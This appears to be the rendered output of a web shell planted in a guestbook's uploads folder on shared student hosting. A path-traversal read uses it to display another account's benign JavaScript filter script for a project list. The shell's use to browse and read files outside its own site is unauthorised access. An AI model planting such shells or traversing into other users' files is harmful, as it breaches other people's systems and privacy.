🐚 WEB SHELL ACTIVATED

📁 File Browser

Current directory: /home/klas4s23/domains/585455.klas4s23.mid-ica.nl/public_html/Gastenboek/uploads

📄 Viewing: ./../../../../584557.klas4s23.mid-ica.nl/public_html/js/filter.js

function initFilter() {
  const filterBtn = document.getElementById("filterBtn");
  const filterContent = document.getElementById("filterContent");
  const projectsContainer = document.querySelector(".projects-container");
  const projects = Array.from(document.querySelectorAll(".project"));
  const radioInputs = document.querySelectorAll("input[type='radio'][name='filter']");
  const checkboxInputs = document.querySelectorAll("input[type='checkbox'][name='filter']");

  filterBtn.addEventListener("click", function (event) {
    event.stopPropagation();
    this.classList.toggle("clicked");
    filterContent.style.display = this.classList.contains("clicked") ? "flex" : "none";
  });

  document.addEventListener("click", function () {
    if (filterContent.style.display === "flex") {
      filterContent.style.display = "none";
      filterBtn.classList.remove("clicked");
    }
  });

  filterContent.addEventListener("click", function (event) {
    event.stopPropagation();
  });

  function applyFilters() {
    const selectedRadio = Array.from(radioInputs).find(radio => radio.checked)?.id;
    const selectedCheckboxes = Array.from(checkboxInputs)
      .filter(checkbox => checkbox.checked)
      .map(checkbox => checkbox.id);

    let filteredProjects = [...projects];

    if (selectedCheckboxes.length > 0) {
      filteredProjects = filteredProjects.filter(project => {
        const tags = project.dataset.tags.split(" ");
        return selectedCheckboxes.some(checkbox => tags.includes(checkbox));
      });
    }

    if (selectedRadio === "oldest") {
      filteredProjects.reverse();
    }

    projectsContainer.innerHTML = "";
    filteredProjects.forEach(project => projectsContainer.appendChild(project));
  }

  radioInputs.forEach(radio => radio.addEventListener("change", applyFilters));
  checkboxInputs.forEach(checkbox => checkbox.addEventListener("change", applyFilters));

  applyFilters();
}

window.initFilter = initFilter;

🎯 Available Actions